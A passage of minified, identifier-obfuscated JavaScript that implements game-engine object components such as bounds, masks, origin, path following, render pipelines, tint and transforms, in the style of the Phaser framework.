0x2, _0x5eb0fc['y'] = this['y'] - this['displayHeight'] * this['originY'], this['prepareBoundsOutput'](_0x5eb0fc, _0x602a7b); }, 'getTopRight': function (_0x573852, _0x5d77fb) { return _0x573852 || (_0x573852 = new _0x3fb527()), _0x573852['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'], _0x573852['y'] = this['y'] - this['displayHeight'] * this['originY'], this['prepareBoundsOutput'](_0x573852, _0x5d77fb); }, 'getLeftCenter': function (_0x294b20, _0x39abbe) { return _0x294b20 || (_0x294b20 = new _0x3fb527()), _0x294b20['x'] = this['x'] - this['displayWidth'] * this['originX'], _0x294b20['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'] / 0x2, this['prepareBoundsOutput'](_0x294b20, _0x39abbe); }, 'getRightCenter': function (_0x5d4381, _0x5bbd3a) { return _0x5d4381 || (_0x5d4381 = new _0x3fb527()), _0x5d4381['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'], _0x5d4381['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'] / 0x2, this['prepareBoundsOutput'](_0x5d4381, _0x5bbd3a); }, 'getBottomLeft': function (_0x5cbe56, _0x5e7f11) { return _0x5cbe56 || (_0x5cbe56 = new _0x3fb527()), _0x5cbe56['x'] = this['x'] - this['displayWidth'] * this['originX'], _0x5cbe56['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'], this['prepareBoundsOutput'](_0x5cbe56, _0x5e7f11); }, 'getBottomCenter': function (_0x38604d, _0x30ff9b) { return _0x38604d || (_0x38604d = new _0x3fb527()), _0x38604d['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'] / 0x2, _0x38604d['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'], this['prepareBoundsOutput'](_0x38604d, _0x30ff9b); }, 'getBottomRight': function (_0x545be6, _0x547592) { return _0x545be6 || (_0x545be6 = new _0x3fb527()), _0x545be6['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'], _0x545be6['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'], this['prepareBoundsOutput'](_0x545be6, _0x547592); }, 'getBounds': function (_0xf4a93d) { var _0x469a16, _0x52972a, _0x41b495, _0x4b0e1b, _0x51251f, _0x21cf06, _0x379741, _0x1fc92a; if (void 0x0 === _0xf4a93d && (_0xf4a93d = new _0x35179a()), this['parentContainer']) { var _0x3b3306 = this['parentContainer']['getBoundsTransformMatrix'](); this['getTopLeft'](_0xf4a93d), _0x3b3306['transformPoint'](_0xf4a93d['x'], _0xf4a93d['y'], _0xf4a93d), _0x469a16 = _0xf4a93d['x'], _0x52972a = _0xf4a93d['y'], this['getTopRight'](_0xf4a93d), _0x3b3306['transformPoint'](_0xf4a93d['x'], _0xf4a93d['y'], _0xf4a93d), _0x41b495 = _0xf4a93d['x'], _0x4b0e1b = _0xf4a93d['y'], this['getBottomLeft'](_0xf4a93d), _0x3b3306['transformPoint'](_0xf4a93d['x'], _0xf4a93d['y'], _0xf4a93d), _0x51251f = _0xf4a93d['x'], _0x21cf06 = _0xf4a93d['y'], this['getBottomRight'](_0xf4a93d), _0x3b3306['transformPoint'](_0xf4a93d['x'], _0xf4a93d['y'], _0xf4a93d), _0x379741 = _0xf4a93d['x'], _0x1fc92a = _0xf4a93d['y']; } else this['getTopLeft'](_0xf4a93d), _0x469a16 = _0xf4a93d['x'], _0x52972a = _0xf4a93d['y'], this['getTopRight'](_0xf4a93d), _0x41b495 = _0xf4a93d['x'], _0x4b0e1b = _0xf4a93d['y'], this['getBottomLeft'](_0xf4a93d), _0x51251f = _0xf4a93d['x'], _0x21cf06 = _0xf4a93d['y'], this['getBottomRight'](_0xf4a93d), _0x379741 = _0xf4a93d['x'], _0x1fc92a = _0xf4a93d['y']; return _0xf4a93d['x'] = Math['min'](_0x469a16, _0x41b495, _0x51251f, _0x379741), _0xf4a93d['y'] = Math['min'](_0x52972a, _0x4b0e1b, _0x21cf06, _0x1fc92a), _0xf4a93d['width'] = Math['max'](_0x469a16, _0x41b495, _0x51251f, _0x379741) - _0xf4a93d['x'], _0xf4a93d['height'] = Math['max'](_0x52972a, _0x4b0e1b, _0x21cf06, _0x1fc92a) - _0xf4a93d['y'], _0xf4a93d; } }; _0x98fe54['exports'] = _0x557931; }, 0x8c6: (_0x4a9265, _0x59f7a4, _0x468bbb) => { var _0x1bd0d1 = _0x468bbb(0x1d4b), _0x818b5f = _0x468bbb(0x1a46), _0x2cd269 = { 'mask': null, 'setMask': function (_0xc830b0) { return this['mask'] = _0xc830b0, this; }, 'clearMask': function (_0x3c01f5) { return void 0x0 === _0x3c01f5 && (_0x3c01f5 = !0x1), _0x3c01f5 && this['mask'] && this['mask']['destroy'](), this['mask'] = null, this; }, 'createBitmapMask': function (_0xd46a7e, _0x35deeb, _0x303113, _0x5b750a, _0x590605) { return void 0x0 === _0xd46a7e && (this['texture'] || this['shader'] || this['geom']) && (_0xd46a7e = this), new _0x1bd0d1(this['scene'], _0xd46a7e, _0x35deeb, _0x303113, _0x5b750a, _0x590605); }, 'createGeometryMask': function (_0x29b669) { return void 0x0 !== _0x29b669 || 'Graphics' !== this['type'] && !this['geom'] || (_0x29b669 = this), new _0x818b5f(this['scene'], _0x29b669); } }; _0x4a9265['exports'] = _0x2cd269; }, 0x13dd: _0xad8ad9 => { var _0x5931ed = { '_originComponent': !0x0, 'originX': 0.5, 'originY': 0.5, '_displayOriginX': 0x0, '_displayOriginY': 0x0, 'displayOriginX': { 'get': function () { return this['_displayOriginX']; }, 'set': function (_0x30bd67) { this['_displayOriginX'] = _0x30bd67, this['originX'] = _0x30bd67 / this['width']; } }, 'displayOriginY': { 'get': function () { return this['_displayOriginY']; }, 'set': function (_0x39b812) { this['_displayOriginY'] = _0x39b812, this['originY'] = _0x39b812 / this['height']; } }, 'setOrigin': function (_0xf2fd13, _0x32062c) { return void 0x0 === _0xf2fd13 && (_0xf2fd13 = 0.5), void 0x0 === _0x32062c && (_0x32062c = _0xf2fd13), this['originX'] = _0xf2fd13, this['originY'] = _0x32062c, this['updateDisplayOrigin'](); }, 'setOriginFromFrame': function () { return this['frame'] && this['frame']['customPivot'] ? (this['originX'] = this['frame']['pivotX'], this['originY'] = this['frame']['pivotY'], this['updateDisplayOrigin']()) : this['setOrigin'](); }, 'setDisplayOrigin': function (_0x1ebf6c, _0x4bf574) { return void 0x0 === _0x1ebf6c && (_0x1ebf6c = 0x0), void 0x0 === _0x4bf574 && (_0x4bf574 = _0x1ebf6c), this['displayOriginX'] = _0x1ebf6c, this['displayOriginY'] = _0x4bf574, this; }, 'updateDisplayOrigin': function () { return this['_displayOriginX'] = this['originX'] * this['width'], this['_displayOriginY'] = this['originY'] * this['height'], this; } }; _0xad8ad9['exports'] = _0x5931ed; }, 0x4d: (_0x1be20b, _0x24a0c9, _0x4c6ed8) => { var _0x4bcf09 = _0x4c6ed8(0x1bed), _0x31cbab = _0x4c6ed8(0x748), _0x5a5417 = _0x4c6ed8(0x16db), _0x122004 = _0x4c6ed8(0xea3), _0x1d8a82 = _0x4c6ed8(0x9e1), _0x377a51 = { 'path': null, 'rotateToPath': !0x1, 'pathRotationOffset': 0x0, 'pathOffset': null, 'pathVector': null, 'pathDelta': null, 'pathTween': null, 'pathConfig': null, '_prevDirection': _0x122004['PLAYING_FORWARD'], 'setPath': function (_0x47fec6, _0x48d040) { void 0x0 === _0x48d040 && (_0x48d040 = this['pathConfig']); var _0x29316e = this['pathTween']; return _0x29316e && _0x29316e['isPlaying']() && _0x29316e['stop'](), this['path'] = _0x47fec6, _0x48d040 && this['startFollow'](_0x48d040), this; }, 'setRotateToPath': function (_0xd8ebdc, _0x533de2) { return void 0x0 === _0x533de2 && (_0x533de2 = 0x0), this['rotateToPath'] = _0xd8ebdc, this['pathRotationOffset'] = _0x533de2, this; }, 'isFollowing': function () { var _0x4034cc = this['pathTween']; return _0x4034cc && _0x4034cc['isPlaying'](); }, 'startFollow': function (_0x21e04d, _0x15edd7) { void 0x0 === _0x21e04d && (_0x21e04d = {}), void 0x0 === _0x15edd7 && (_0x15edd7 = 0x0); var _0x1fd0c7 = this['pathTween']; _0x1fd0c7 && _0x1fd0c7['isPlaying']() && _0x1fd0c7['stop'](), 'number' == typeof _0x21e04d && (_0x21e04d = { 'duration': _0x21e04d }), _0x21e04d['from'] = _0x5a5417(_0x21e04d, 'from', 0x0), _0x21e04d['to'] = _0x5a5417(_0x21e04d, 'to', 0x1); var _0xac0c53 = _0x31cbab(_0x21e04d, 'positionOnPath', !0x1); this['rotateToPath'] = _0x31cbab(_0x21e04d, 'rotateToPath', !0x1), this['pathRotationOffset'] = _0x5a5417(_0x21e04d, 'rotationOffset', 0x0); var _0x18672e = _0x5a5417(_0x21e04d, 'startAt', _0x15edd7); if (_0x18672e && (_0x21e04d['onStart'] = function (_0x384cc7) { var _0x403b67 = _0x384cc7['data'][0x0]; _0x403b67['progress'] = _0x18672e, _0x403b67['elapsed'] = _0x403b67['duration'] * _0x18672e; var _0x5bda07 = _0x403b67['ease'](_0x403b67['progress']); _0x403b67['current'] = _0x403b67['start'] + (_0x403b67['end'] - _0x403b67['start']) * _0x5bda07, _0x403b67['setTargetValue'](); }), this['pathOffset'] || (this['pathOffset'] = new _0x1d8a82(this['x'], this['y'])), this['pathVector'] || (this['pathVector'] = new _0x1d8a82()), this['pathDelta'] || (this['pathDelta'] = new _0x1d8a82()), this['pathDelta']['reset'](), _0x21e04d['persist'] = !0x0, this['pathTween'] = this['scene']['sys']['tweens']['addCounter'](_0x21e04d), this['path']['getStartPoint'](this['pathOffset']), _0xac0c53 && (this['x'] = this['pathOffset']['x'], this['y'] = this['pathOffset']['y']), this['pathOffset']['x'] = this['x'] - this['pathOffset']['x'], this['pathOffset']['y'] = this['y'] - this['pathOffset']['y'], this['_prevDirection'] = _0x122004['PLAYING_FORWARD'], this['rotateToPath']) { var _0x343c12 = this['path']['getPoint'](0.1); this['rotation'] = Math['atan2'](_0x343c12['y'] - this['y'], _0x343c12['x'] - this['x']) + _0x4bcf09(this['pathRotationOffset']); } return this['pathConfig'] = _0x21e04d, this; }, 'pauseFollow': function () { var _0x390766 = this['pathTween']; return _0x390766 && _0x390766['isPlaying']() && _0x390766['pause'](), this; }, 'resumeFollow': function () { var _0x40efa9 = this['pathTween']; return _0x40efa9 && _0x40efa9['isPaused']() && _0x40efa9['resume'](), this; }, 'stopFollow': function () { var _0x43645a = this['pathTween']; return _0x43645a && _0x43645a['isPlaying']() && _0x43645a['stop'](), this; }, 'pathUpdate': function () { var _0x1ef9c1 = this['pathTween']; if (_0x1ef9c1 && _0x1ef9c1['data']) { var _0x3ca632 = _0x1ef9c1['data'][0x0], _0xdfb4a4 = this['pathDelta'], _0x197a64 = this['pathVector']; if (_0xdfb4a4['copy'](_0x197a64)['negate'](), _0x3ca632['state'] === _0x122004['COMPLETE']) return this['path']['getPoint'](_0x3ca632['end'], _0x197a64), _0xdfb4a4['add'](_0x197a64), _0x197a64['add'](this['pathOffset']), void this['setPosition'](_0x197a64['x'], _0x197a64['y']); if (_0x3ca632['state'] !== _0x122004['PLAYING_FORWARD'] && _0x3ca632['state'] !== _0x122004['PLAYING_BACKWARD']) return; this['path']['getPoint'](_0x1ef9c1['getValue'](), _0x197a64), _0xdfb4a4['add'](_0x197a64), _0x197a64['add'](this['pathOffset']); var _0x13a9e5 = this['x'], _0x23f6e2 = this['y']; this['setPosition'](_0x197a64['x'], _0x197a64['y']); var _0x16ecdf = this['x'] - _0x13a9e5, _0x2304cb = this['y'] - _0x23f6e2; if (0x0 === _0x16ecdf && 0x0 === _0x2304cb) return; if (_0x3ca632['state'] !== this['_prevDirection']) return void (this['_prevDirection'] = _0x3ca632['state']); this['rotateToPath'] && (this['rotation'] = Math['atan2'](_0x2304cb, _0x16ecdf) + _0x4bcf09(this['pathRotationOffset'])); } } }; _0x1be20b['exports'] = _0x377a51; }, 0x3da: (_0x454de6, _0xb302d2, _0x228d10) => { var _0x556c52 = _0x228d10(0xf47), _0x57cd87 = { 'defaultPipeline': null, 'pipeline': null, 'pipelineData': null, 'initPipeline': function (_0x2bcbe3) { this['pipelineData'] = {}; var _0x27345c = this['scene']['sys']['renderer']; if (!_0x27345c) return !0x1; var _0x3355c9 = _0x27345c['pipelines']; if (_0x3355c9) { void 0x0 === _0x2bcbe3 && (_0x2bcbe3 = _0x3355c9['default']); var _0xc47818 = _0x3355c9['get'](_0x2bcbe3); if (_0xc47818) return this['defaultPipeline'] = _0xc47818, this['pipeline'] = _0xc47818, !0x0; } return !0x1; }, 'setPipeline': function (_0x477863, _0x1abd97, _0x1c7924) { var _0xb3af42 = this['scene']['sys']['renderer']; if (!_0xb3af42) return this; var _0x6665e = _0xb3af42['pipelines']; if (_0x6665e) { var _0x5434a7 = _0x6665e['get'](_0x477863); _0x5434a7 && (this['pipeline'] = _0x5434a7), _0x1abd97 && (this['pipelineData'] = _0x1c7924 ? _0x556c52(_0x1abd97) : _0x1abd97); } return this; }, 'setPipelineData': function (_0x3c9036, _0x522da2) { var _0x40867a = this['pipelineData']; return void 0x0 === _0x522da2 ? delete _0x40867a[_0x3c9036] : _0x40867a[_0x3c9036] = _0x522da2, this; }, 'resetPipeline': function (_0x8a7d72) { return void 0x0 === _0x8a7d72 && (_0x8a7d72 = !0x1), this['pipeline'] = this['defaultPipeline'], _0x8a7d72 && (this['pipelineData'] = {}), null !== this['pipeline']; }, 'getPipelineName': function () { return this['pipeline']['name']; } }; _0x454de6['exports'] = _0x57cd87; }, 0x116d: (_0x31e6e7, _0x385e1e, _0xdfa517) => { var _0x1fd374 = _0xdfa517(0xf47), _0x558288 = _0xdfa517(0x65a), _0x19573e = _0xdfa517(0x22e7), _0x29979f = { 'hasPostPipeline': !0x1, 'postPipelines': null, 'postPipelineData': null, 'preFX': null, 'postFX': null, 'initPostPipeline': function (_0x4ffa6f) { this['postPipelines'] = [], this['postPipelineData'] = {}, this['postFX'] = new _0x558288(this, !0x0), _0x4ffa6f && (this['preFX'] = new _0x558288(this, !0x1)); }, 'setPostPipeline': function (_0x36a738, _0x3d0c70, _0x5d0b6f) { var _0x325946 = this['scene']['sys']['renderer']; if (!_0x325946) return this; var _0x476ae3 = _0x325946['pipelines']; if (_0x476ae3) { Array['isArray'](_0x36a738) || (_0x36a738 = [_0x36a738]); for (var _0x38c306 = 0x0; _0x38c306 < _0x36a738['length']; _0x38c306++) { var _0x5bce0b = _0x476ae3['getPostPipeline'](_0x36a738[_0x38c306], this, _0x3d0c70); _0x5bce0b && this['postPipelines']['push'](_0x5bce0b); } _0x3d0c70 && (this['postPipelineData'] = _0x5d0b6f ? _0x1fd374(_0x3d0c70) : _0x3d0c70); } return this['hasPostPipeline'] = this['postPipelines']['length'] > 0x0, this; }, 'setPostPipelineData': function (_0x1fd7ae, _0x21aacc) { var _0x587932 = this['postPipelineData']; return void 0x0 === _0x21aacc ? delete _0x587932[_0x1fd7ae] : _0x587932[_0x1fd7ae] = _0x21aacc, this; }, 'getPostPipeline': function (_0x2b85a0) { for (var _0x457612 = 'string' == typeof _0x2b85a0, _0x484568 = this['postPipelines'], _0x5100fb = [], _0x349b8b = 0x0; _0x349b8b < _0x484568['length']; _0x349b8b++) { var _0x33d655 = _0x484568[_0x349b8b]; (_0x457612 && _0x33d655['name'] === _0x2b85a0 || !_0x457612 && _0x33d655 instanceof _0x2b85a0) && _0x5100fb['push'](_0x33d655); } return 0x1 === _0x5100fb['length'] ? _0x5100fb[0x0] : _0x5100fb; }, 'resetPostPipeline': function (_0x222ea9) { void 0x0 === _0x222ea9 && (_0x222ea9 = !0x1); for (var _0x5cf03 = this['postPipelines'], _0x1e02f = 0x0; _0x1e02f < _0x5cf03['length']; _0x1e02f++)_0x5cf03[_0x1e02f]['destroy'](); this['postPipelines'] = [], this['hasPostPipeline'] = !0x1, _0x222ea9 && (this['postPipelineData'] = {}); }, 'removePostPipeline': function (_0x5f2787) { for (var _0x4b5817 = 'string' == typeof _0x5f2787, _0x549d79 = this['postPipelines'], _0x5095b7 = _0x549d79['length'] - 0x1; _0x5095b7 >= 0x0; _0x5095b7--) { var _0x1bc84b = _0x549d79[_0x5095b7]; (_0x4b5817 && _0x1bc84b['name'] === _0x5f2787 || !_0x4b5817 && _0x1bc84b === _0x5f2787) && (_0x1bc84b['destroy'](), _0x19573e(_0x549d79, _0x5095b7)); } return this['hasPostPipeline'] = this['postPipelines']['length'] > 0x0, this; }, 'clearFX': function () { return this['preFX'] && this['preFX']['clear'](), this['postFX'] && this['postFX']['clear'](), this; } }; _0x31e6e7['exports'] = _0x29979f; }, 0x1213: _0x23068b => { var _0x3b9f55 = { 'scrollFactorX': 0x1, 'scrollFactorY': 0x1, 'setScrollFactor': function (_0x567aac, _0x1a9b20) { return void 0x0 === _0x1a9b20 && (_0x1a9b20 = _0x567aac), this['scrollFactorX'] = _0x567aac, this['scrollFactorY'] = _0x1a9b20, this; } }; _0x23068b['exports'] = _0x3b9f55; }, 0x74c: _0x49374f => { var _0x1421c0 = { '_sizeComponent': !0x0, 'width': 0x0, 'height': 0x0, 'displayWidth': { 'get': function () { return Math['abs'](this['scaleX'] * this['frame']['realWidth']); }, 'set': function (_0xb76ffb) { this['scaleX'] = _0xb76ffb / this['frame']['realWidth']; } }, 'displayHeight': { 'get': function () { return Math['abs'](this['scaleY'] * this['frame']['realHeight']); }, 'set': function (_0x55e4fc) { this['scaleY'] = _0x55e4fc / this['frame']['realHeight']; } }, 'setSizeToFrame': function (_0x1a61ef) { _0x1a61ef || (_0x1a61ef = this['frame']), this['width'] = _0x1a61ef['realWidth'], this['height'] = _0x1a61ef['realHeight']; var _0x553161 = this['input']; return _0x553161 && !_0x553161['customHitArea'] && (_0x553161['hitArea']['width'] = this['width'], _0x553161['hitArea']['height'] = this['height']), this; }, 'setSize': function (_0x1cfda1, _0x44f126) { return this['width'] = _0x1cfda1, this['height'] = _0x44f126, this; }, 'setDisplaySize': function (_0x453612, _0x2d5603) { return this['displayWidth'] = _0x453612, this['displayHeight'] = _0x2d5603, this; } }; _0x49374f['exports'] = _0x1421c0; }, 0x1370: (_0x378c82, _0x36a43a, _0x4e2747) => { var _0xffdaf2 = _0x4e2747(0x93a), _0x850a7a = { 'texture': null, 'frame': null, 'isCropped': !0x1, 'setTexture': function (_0xeba7b, _0x5e1d1e, _0x35e2c6, _0x4d7a1e) { return this['texture'] = this['scene']['sys']['textures']['get'](_0xeba7b), this['setFrame'](_0x5e1d1e, _0x35e2c6, _0x4d7a1e); }, 'setFrame': function (_0x2bc57b, _0x143f90, _0x1af025) { return void 0x0 === _0x143f90 && (_0x143f90 = !0x0), void 0x0 === _0x1af025 && (_0x1af025 = !0x0), _0x2bc57b instanceof _0xffdaf2 ? (this['texture'] = this['scene']['sys']['textures']['get'](_0x2bc57b['texture']['key']), this['frame'] = _0x2bc57b) : this['frame'] = this['texture']['get'](_0x2bc57b), this['frame']['cutWidth'] && this['frame']['cutHeight'] ? this['renderFlags'] |= 0x8 : this['renderFlags'] &= -0x9, this['_sizeComponent'] && _0x143f90 && this['setSizeToFrame'](), this['_originComponent'] && _0x1af025 && (this['frame']['customPivot'] ? this['setOrigin'](this['frame']['pivotX'], this['frame']['pivotY']) : this['updateDisplayOrigin']()), this; } }; _0x378c82['exports'] = _0x850a7a; }, 0x241b: (_0x5858a9, _0x1ddd00, _0x3dca58) => { var _0x55de44 = _0x3dca58(0x93a), _0xaf1d6 = { 'texture': null, 'frame': null, 'isCropped': !0x1, 'setCrop': function (_0x40211a, _0x5350c4, _0x46e4bc, _0x1e1e53) { if (void 0x0 === _0x40211a) this['isCropped'] = !0x1; else { if (this['frame']) { if ('number' == typeof _0x40211a) this['frame']['setCropUVs'](this['_crop'], _0x40211a, _0x5350c4, _0x46e4bc, _0x1e1e53, this['flipX'], this['flipY']); else { var _0x15f1ec = _0x40211a; this['frame']['setCropUVs'](this['_crop'], _0x15f1ec['x'], _0x15f1ec['y'], _0x15f1ec['width'], _0x15f1ec['height'], this['flipX'], this['flipY']); } this['isCropped'] = !0x0; } } return this; }, 'setTexture': function (_0x28ff64, _0x5164d7) { return this['texture'] = this['scene']['sys']['textures']['get'](_0x28ff64), this['setFrame'](_0x5164d7); }, 'setFrame': function (_0x3b08e1, _0x246e67, _0x4596f1) { return void 0x0 === _0x246e67 && (_0x246e67 = !0x0), void 0x0 === _0x4596f1 && (_0x4596f1 = !0x0), _0x3b08e1 instanceof _0x55de44 ? (this['texture'] = this['scene']['sys']['textures']['get'](_0x3b08e1['texture']['key']), this['frame'] = _0x3b08e1) : this['frame'] = this['texture']['get'](_0x3b08e1), this['frame']['cutWidth'] && this['frame']['cutHeight'] ? this['renderFlags'] |= 0x8 : this['renderFlags'] &= -0x9, this['_sizeComponent'] && _0x246e67 && this['setSizeToFrame'](), this['_originComponent'] && _0x4596f1 && (this['frame']['customPivot'] ? this['setOrigin'](this['frame']['pivotX'], this['frame']['pivotY']) : this['updateDisplayOrigin']()), this['isCropped'] && this['frame']['updateCropUVs'](this['_crop'], this['flipX'], this['flipY']), this; }, 'resetCropObject': function () { return { 'u0': 0x0, 'v0': 0x0, 'u1': 0x0, 'v1': 0x0, 'width': 0x0, 'height': 0x0, 'x': 0x0, 'y': 0x0, 'flipX': !0x1, 'flipY': !0x1, 'cx': 0x0, 'cy': 0x0, 'cw': 0x0, 'ch': 0x0 }; } }; _0x5858a9['exports'] = _0xaf1d6; }, 0x163d: _0x2cc371 => { var _0xa4e844 = { 'tintTopLeft': 0xffffff, 'tintTopRight': 0xffffff, 'tintBottomLeft': 0xffffff, 'tintBottomRight': 0xffffff, 'tintFill': !0x1, 'clearTint': function () { return this['setTint'](0xffffff), this; }, 'setTint': function (_0x11b75d, _0x298b1c, _0x248b1b, _0x23492f) { return void 0x0 === _0x11b75d && (_0x11b75d = 0xffffff), void 0x0 === _0x298b1c && (_0x298b1c = _0x11b75d, _0x248b1b = _0x11b75d, _0x23492f = _0x11b75d), this['tintTopLeft'] = _0x11b75d, this['tintTopRight'] = _0x298b1c, this['tintBottomLeft'] = _0x248b1b, this['tintBottomRight'] = _0x23492f, this['tintFill'] = !0x1, this; }, 'setTintFill': function (_0x2310ee, _0x5820db, _0x4a9655, _0x4472c1) { return this['setTint'](_0x2310ee, _0x5820db, _0x4a9655, _0x4472c1), this['tintFill'] = !0x0, this; }, 'tint': { 'get': function () { return this['tintTopLeft']; }, 'set': function (_0x1225be) { this['setTint'](_0x1225be, _0x1225be, _0x1225be, _0x1225be); } }, 'isTinted': { 'get': function () { var _0x381b21 = 0xffffff; return this['tintFill'] || this['tintTopLeft'] !== _0x381b21 || this['tintTopRight'] !== _0x381b21 || this['tintBottomLeft'] !== _0x381b21 || this['tintBottomRight'] !== _0x381b21; } } }; _0x2cc371['exports'] = _0xa4e844; }, 0x17ed: _0xf98bc7 => { _0xf98bc7['exports'] = function (_0x4a1387) { var _0x8e1b5 = { 'name': _0x4a1387['name'], 'type': _0x4a1387['type'], 'x': _0x4a1387['x'], 'y': _0x4a1387['y'], 'depth': _0x4a1387['depth'], 'scale': { 'x': _0x4a1387['scaleX'], 'y': _0x4a1387['scaleY'] }, 'origin': { 'x': _0x4a1387['originX'], 'y': _0x4a1387['originY'] }, 'flipX': _0x4a1387['flipX'], 'flipY': _0x4a1387['flipY'], 'rotation': _0x4a1387['rotation'], 'alpha': _0x4a1387['alpha'], 'visible': _0x4a1387['visible'], 'blendMode': _0x4a1387['blendMode'], 'textureKey': '', 'frameKey': '', 'data': {} }; return _0x4a1387['texture'] && (_0x8e1b5['textureKey'] = _0x4a1387['texture']['key'], _0x8e1b5['frameKey'] = _0x4a1387['frame']['name']), _0x8e1b5; }; }, 0xc8c: (_0x159656, _0xe1abbd, _0x596921) => { var _0x38229d = _0x596921(0x1d01), _0x5c2e8c = _0x596921(0x1083), _0x31663a = _0x596921(0x1d84), _0x1d9ddf = _0x596921(0xe6c), _0x2b6a88 = _0x596921(0xb04), _0x5e9387 = _0x596921(0x9e1), _0x30cc87 = { 'hasTransformComponent': !0x0, '_scaleX': 0x1, '_scaleY': 0x1, '_rotation': 0x0, 'x': 0x0, 'y': 0x0, 'z': 0x0, 'w': 0x0, 'scale': { 'get': function () { return (this['_scaleX'] + this['_scaleY']) / 0x2; }, 'set': function (_0x34484d) { this['_scaleX'] = _0x34484d, this['_scaleY'] = _0x34484d, 0x0 === _0x34484d ? this['renderFlags'] &= -0x5 : this['renderFlags'] |= 0x4; } }, 'scaleX': { 'get': function () { return this['_scaleX']; }, 'set': function (_0x3ec787) { this['_scaleX'] = _0x3ec787, 0x0 === _0x3ec787 ? this['renderFlags'] &= -0x5 : 0x0 !== this['_scaleY'] && (this['renderFlags'] |= 0x4); } }, 'scaleY': { 'get': function () { return this['_scaleY']; }, 'set': function (_0x511d67) { this['_scaleY'] = _0x511d67, 0x0 === _0x511d67 ? this['renderFlags'] &= -0x5 : 0x0 !== this['_scaleX'] && (this['renderFlags'] |= 0x4); } }, 'angle': { 'get': function () { return _0x2b6a88(this['_rotation'] * _0x38229d['RAD_TO_DEG']); }, 'set': function (_0x2e0b4b) { this['rotation'] = _0x2b6a88(_0x2e0b4b) * _0x38229d['DEG_TO_RAD']; } }, 'rotation': { 'get': function () { return this['_rotation']; }, 'set': function (_0x3c9743) { this['_rotation'] = _0x1d9ddf(_0x3c9743); } }, 'setPosition': function (_0x4dc4e4, _0x138c63, _0x2f7d39, _0x4156d4) { return void 0x0 === _0x4dc4e4 && (_0x4dc4e4 = 0x0), void 0x0 === _0x138c63 && (_0x138c63 = _0x4dc4e4), void 0x0 === _0x2f7d39 && (_0x2f7d39 = 0x0), void 0x0 === _0x4156d4 && (_0x4156d4 = 0x0), this['x'] = _0x4dc4e4, this['y'] = _0x138c63, this['z'] = _0x2f7d39, this['w'] = _0x4156d4, this; }, 'copyPosition': function (_0xa1197c) { return void 0x0 !== _0xa1197c['x'] && (this['x'] = _0xa1197c['x']), void 0x0 !== _0xa1197c['y'] && (this['y'] = _0xa1197c['y']), void 0x0 !== _0xa1197c['z'] && (this['z'] = _0xa1197c['z']), void 0x0 !== _0xa1197c['w'] && (this['w'] = _0xa1197c['w']), this; }, 'setRandomPosition': function (_0x5b2867, _0x418e56, _0x5bb9f8, _0x167a4a) { return void 0x0 === _0x5b2867 && (_0x5b2867 = 0x0), void 0x0 === _0x418e56 && (_0x418e56 = 0x0), void 0x0 === _0x5bb9f8 && (_0x5bb9f8 = this['scene']['sys']['scale']['width']), void 0x0 === _0x167a4a && (_0x167a4a = this['scene']['sys']['scale']['height']), this['x'] = _0x5b2867 + Math['random']() * _0x5bb9f8, this['y'] = _0x418e56 + Math['random']() * _0x167a4a, this; }, 'setRotation': function (_0x5d5469) { return void 0x0 === _0x5d5469 && (_0x5d5469 = 0x0), this['rotation'] = _0x5d5469, this; }, 'setAngle': function (_0x465501) { return void 0x0 === _0x465501 && (_0x465501 = 0x0), this['angle'] = _0x465501, this; }, 'setScale': function (_0x4e9414, _0x44615d) { return void 0x0 === _0x4e9414 && (_0x4e9414 = 0x1), void 0x0 === _0x44615d && (_0x44615d = _0x4e9414), this['scaleX'] = _0x4e9414, this['scaleY'] = _0x44615d, this; }, 'setX': function (_0x1bb947) { return void 0x0 === _0x1bb947 && (_0x1bb947 = 0x0), this['x'] = _0x1bb947, this; }, 'setY': function (_0x29e15e) { return void 0x0 === _0x29e15e && (_0x29e15e = 0x0), this['y'] = _0x29e15e, this; }, 'setZ': function (_0x50ba7f) { return void 0x0 === _0x50ba7f && (_0x50ba7f = 0x0), this['z'] = _0x50ba7f, this; }, 'setW': function (_0x386b0f) { return void 0x0 === _0x386b0f && (_0x386b0f = 0x0), this['w'] = _0x386b0f, this; }, 'getLocalTransformMatrix': function (_0x5be8b6) { return void 0x0 === _0x5be8b6 && (_0x5be8b6 = new _0x5c2e8c()), _0x5be8b6['applyITRS'](this['x'], this['y'], this['_rotation'], this['_scaleX'], this['_scaleY']); }, 'getWorldTransformMatrix': function (_0x4fae8b, _0x5890b5) { void 0x0 === _0x4fae8b && (_0x4fae8b = new _0x5c2e8c()); var _0x398c42 = this['parentContainer']; if (!_0x398c42) return this['getLocalTransformMatrix'](_0x4fae8b); for (_0x5890b5 || (_0x5890b5 = new _0x5c2e8c()), _0x4fae8b['applyITRS'](this['x'], this['y'], this['_rotation'], this['_scaleX'], this['_scaleY']); _0x398c42;)_0x5890b5['applyITRS'](_0x398c42['x'], _0x398c42['y'], _0x398c42['_rotation'], _0x398c42['_scaleX'], _0x398c42['_scaleY']), _0x5890b5['multiply'](_0x4fae8b, _0x4fae8b), _0x398c42 = _0x398c42['parentContainer']; return _0x4fae8b; }, 'getLocalPoint': function (_0x163806, _0x4e98a9, _0x11ae06, _0x1eee4a) { _0x11ae06 || (_0x11ae06 = new _0x5e9387()), _0x1eee4a || (_0x1eee4a = this['scene']['sys']['cameras']['main']); var _0x2db95a = _0x1eee4a['scrollX'], _0x922a6b = _0x1eee4a['scrollY'], _0x1f5949 = _0x163806 + _0x2db95a * this['scrollFactorX'] - _0x2db95a, _0x1f064b = _0x4e98a9 + _0x922a6b * this['scrollFactorY'] - _0x922a6b; return this['parentContainer'] ? this['getWorldTransformMatrix']()['applyInverse'](_0x1f5949, _0x1f064b, _0x11ae06) : _0x31663a(_0x1f5949, _0x1f064b, this['x'], this['y'], this['rotation'], this['scaleX'], this['scaleY'], _0x11ae06), this['_originComponent'] && (_0x11ae06['x'] += this['_displayOriginX'], _0x11ae06['y'] += this['_displayOriginY']), _0x11ae06; }, 'getParentRotation': function () { for (var _0x2e6497 = 0x0, _0x1bf0e5 = 